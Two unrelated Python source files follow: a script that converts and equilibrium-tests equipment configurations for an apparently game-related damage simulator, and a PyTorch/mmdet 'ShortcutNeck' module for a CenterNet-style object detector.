def get_equip_manager(advname, variant=None, save_variant_build=None):
try:
if variant is not None and save_variant_build is not None:
EQUIP_MANAGERS[advname][variant].set_save_variant_build(save_variant_build)
return EQUIP_MANAGERS[advname][variant]
except KeyError:
manager = EquipManager(advname, variant, save_variant_build)
try:
EQUIP_MANAGERS[advname][variant] = manager
except KeyError:
EQUIP_MANAGERS[advname] = {variant: manager}
return manager
OLD_KEY_TO_COND = {
"base": ConditionTuple((AfflictionCondition.SELF, SituationCondition.NORMAL, MonoCondition.ANY)),
"buffer": ConditionTuple((AfflictionCondition.SELF, SituationCondition.NORMAL, MonoCondition.ANY)),
"affliction": ConditionTuple((AfflictionCondition.ALWAYS, SituationCondition.NORMAL, MonoCondition.ANY)),
"noaffliction": ConditionTuple((AfflictionCondition.IMMUNE, SituationCondition.NORMAL, MonoCondition.ANY)),
"mono_base": ConditionTuple((AfflictionCondition.SELF, SituationCondition.NORMAL, MonoCondition.MONO)),
"mono_buffer": ConditionTuple((AfflictionCondition.SELF, SituationCondition.NORMAL, MonoCondition.MONO)),
"mono_affliction": ConditionTuple((AfflictionCondition.ALWAYS, SituationCondition.NORMAL, MonoCondition.MONO)),
"mono_noaffliction": ConditionTuple((AfflictionCondition.IMMUNE, SituationCondition.NORMAL, MonoCondition.MONO)),
}
def convert_from_existing(advname):
import core.simulate
old_equip = load_json(f"equip/{advname}.json")
old_180s = old_equip["180"]
advmodule, advname, variant = core.simulate.load_adv_module(advname)
equip_manager = get_equip_manager(advname)
for key, conf in old_180s.items():
if isinstance(conf, str):
continue
condition = OLD_KEY_TO_COND[key]
dprint(f"CONVERT {key} -> {condition}")
if condition.mono == MonoCondition.MONO:
try:
conf = {**old_180s[key.split("_")[-1]], **conf}
except KeyError:
continue
conf.update(condition.get_conf())
dprint(conf, pretty=True)
adv, real_d = core.simulate.test(advname, advmodule, conf, 180, 4)
equip_manager.accept_new_entry(adv, real_d)
dprint("=" * 100)
dprint(equip_manager.display_json())
def sha256sum(filename):
import hashlib
if not os.path.exists(filename):
return None
h = hashlib.sha256()
b = bytearray(128 * 1024)
mv = memoryview(b)
with open(filename, "rb", buffering=0) as f:
for n in iter(lambda: f.readinto(mv), 0):
h.update(mv[:n])
return h.hexdigest()
def n_pass_test(advname):
from time import monotonic
new_equip_file = f"./conf/equip.new/{advname}.json"
try:
os.remove(new_equip_file)
except FileNotFoundError:
pass
t_start = monotonic()
equilibrium = 0
max_equilibrium = 3
convert_from_existing(advname)
sha256 = sha256sum(new_equip_file)
print(advname, end="\t", flush=True)
while equilibrium < max_equilibrium:
dprint("")
dprint("=" * 100)
dprint("")
equilibrium += 1
convert_from_existing(advname)
next_sha256 = sha256sum(new_equip_file)
if sha256 == next_sha256:
break
sha256 = next_sha256
print(monotonic() - t_start, flush=True)
if equilibrium == max_equilibrium and sha256 != next_sha256:
print(f"Failed to achieve equilibrium for {advname}")
else:
dprint(f"It took {equilibrium} iterations to achieve equilibrium")
# convert_from_existing(advname)
# second_pass = sha256sum(new_equip_file)
# if first_pass != second_pass:
# print(f"{advname} differed")
if __name__ == "__main__":
# advname = sys.argv[1]
# convert_from_existing(advname)
# n_pass_test("alberius")
# python deploy.py lea valerio gala_notte sophie_persona patia chelsea hunter_sarisse noelle hildegarde gala_chelle -c
# advlist = ["lea", "valerio", "gala_notte", "sophie_persona", "patia", "chelsea", "hunter_sarisse", "noelle", "hildegarde", "gala_chelle"]
for advname in list_advs():
n_pass_test(advname)
|
491720
|
import math
import torch.nn as nn
from mmcv.cnn import ConvModule,build_norm_layer
from mmcv.runner import BaseModule, auto_fp16
from mmcv.cnn import kaiming_init
from mmdet.models.builder import NECKS
from mmcv.ops import DeformConv2dPack
@NECKS.register_module()
class ShortcutNeck(BaseModule):
"""The neck used in `CenterNet <https://arxiv.org/abs/1904.07850>`_ for
object classification and box regression.
Args:
in_channel (int): Number of input channels.
num_deconv_filters (tuple[int]): Number of filters per stage.
num_deconv_kernels (tuple[int]): Number of kernels per stage.
use_dcn (bool): If True, use DCNv2. Default: True.
init_cfg (dict or list[dict], optional): Initialization config dict.
"""
def __init__(self,
inplanes=(128, 256, 512, 1024),
planes=(256, 128, 64),
shortcut_kernel=3,
shortcut_cfg=(1, 2, 3),
norm_cfg=dict(type='BN', requires_grad=True),
use_dcn=True,
init_cfg=None):
super(ShortcutNeck, self).__init__(init_cfg)
# assert len(num_deconv_filters) == len(num_deconv_kernels)
self.fp16_enabled = False
self.use_dcn = use_dcn
shortcut_num = min(len(inplanes) - 1, len(planes))
assert shortcut_num == len(shortcut_cfg)
# self.in_channel = in_channel
# self.deconv_layers = self._make_deconv_layer(num_deconv_filters,
# num_deconv_kernels)
# repeat upsampling n times. 32x to 4x by default.
self.deconv_layers = nn.ModuleList([
self.build_upsample(inplanes[-1], planes[0], norm_cfg=norm_cfg),
self.build_upsample(planes[0], planes[1], norm_cfg=norm_cfg)
])
for i in range(2, len(planes)):
self.deconv_layers.append(
self.build_upsample(planes[i - 1], planes[i], norm_cfg=norm_cfg))
padding = (shortcut_kernel - 1) // 2
self.shortcut_layers = self.build_shortcut(
inplanes[:-1][::-1][:shortcut_num], planes[:shortcut_num], shortcut_cfg,
kernel_size=shortcut_kernel, padding=padding)
def build_shortcut(self,
inplanes,
planes,
shortcut_cfg,
kernel_size=3,
padding=1):
assert len(inplanes) == len(planes) == len(shortcut_cfg)
shortcut_layers = nn.ModuleList()
for (inp, outp, layer_num) in zip(
inplanes, planes, shortcut_cfg):
assert layer_num > 0
layer = ShortcutConv2d(
inp, outp, [kernel_size] * layer_num, [padding] * layer_num)
shortcut_layers.append(layer)
return shortcut_layers
def build_upsample(self, inplanes, planes, norm_cfg=None):
mdcn = DeformConv2dPack(inplanes, planes, 3, stride=1,
padding=1, dilation=1, deformable_groups=1)
up = nn.UpsamplingBilinear2d(scale_factor=2)
layers = []
layers.append(mdcn)
if norm_cfg:
layers.append(build_norm_layer(norm_cfg, planes)[1])
layers.append(nn.ReLU(inplace=True))
layers.append(up)
return nn.Sequential(*layers)
def init_weights(self):
for _, m in self.shortcut_layers.named_modules():
if isinstance(m, nn.Conv2d):
kaiming_init(m)
for _, m in self.deconv_layers.named_modules():
if isinstance(m, nn.BatchNorm2d):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)
def forward(self, feats):
"""
Args:
feats: list(tensor).
Returns:
hm: tensor, (batch, 80, h, w).
wh: tensor, (batch, 4, h, w) or (batch, 80 * 4, h, w).
"""
x = feats[-1]
for i, upsample_layer in enumerate(self.deconv_layers):
x = upsample_layer(x)
if i < len(self.shortcut_layers):
shortcut = self.shortcut_layers[i](feats[-i - 2])
x = x + shortcut
return x
class ShortcutConv2d(nn.Module):
def __init__(self,
in_channels,
out_channels,
kernel_sizes,
paddings,
activation_last=False):
super(ShortcutConv2d, self).__init__()
assert len(kernel_sizes) == len(paddings)
layers = []
for i, (kernel_size, padding) in enumerate(zip(kernel_sizes, paddings)):
inc = in_channels if i == 0 else out_channels
layers.append(nn.Conv2d(inc, out_channels, kernel_size, padding=padding))
if i < len(kernel_sizes) - 1 or activation_last:
layers.append(nn.ReLU(inplace=True))
self.layers = nn.Sequential(*layers)
def forward(self, x):
y = self.layers(x)
return y
# def _make_deconv_layer(self, num_deconv_filters, num_deconv_kernels):
# """use deconv layers to upsample backbone's output."""
# layers = []
# for i in range(len(num_deconv_filters)):
# feat_channel = num_deconv_filters[i]
# conv_module = ConvModule(
# self.in_channel,
# feat_channel,
# 3,
# padding=1,
# conv_cfg=dict(type='DCNv2') if self.use_dcn else None,
# norm_cfg=dict(type='BN'))
# layers.append(conv_module)
# upsample_module = ConvModule(
# feat_channel,
# feat_channel,
# num_deconv_kernels[i],
# stride=2,
# padding=1,
# conv_cfg=dict(type='deconv'),
# norm_cfg=dict(type='BN'))
# layers.append(upsample_module)
# self.in_channel = feat_channel
# return nn.Sequential(*layers)
# def init_weights(self):
# for m in self.modules():
# if isinstance(m, nn.ConvTranspose2d):
# # In order to be consistent with the source code,
# # reset the ConvTranspose2d initialization parameters
# m.reset_parameters()
# # Simulated bilinear upsampling kernel
# w = m.weight.data
# f = math.ceil(w.size(2) / 2)
# c = (2 * f - 1 - f % 2) / (2. * f)
# for i in range(w.size(2)):
# for j in range(w.size(3)):
# w[0, 0, i, j] = \
# (1 - math.fabs(i / f - c)) * (
# 1 - math.fabs(j / f - c))
# for c in range(1, w.size(0)):
# w[c, 0, :, :] = w[0, 0, :, :]
# elif isinstance(m, nn.BatchNorm2d):
# nn.init.constant_(m.weight, 1)
# nn.init.constant_(m.bias, 0)
# # self.use_dcn is False
# elif not self.use_dcn and isinstance(m, nn.Conv2d):
# # In order to be consistent with the source code,
# # reset the Conv2d initialization parameters
# m.reset_parameters()
# @auto_fp16()
# def forward(self, inputs):
# assert isinstance(inputs, (list, tuple))
# outs = self.deconv_layers(inputs[-1])
# return outs,
|
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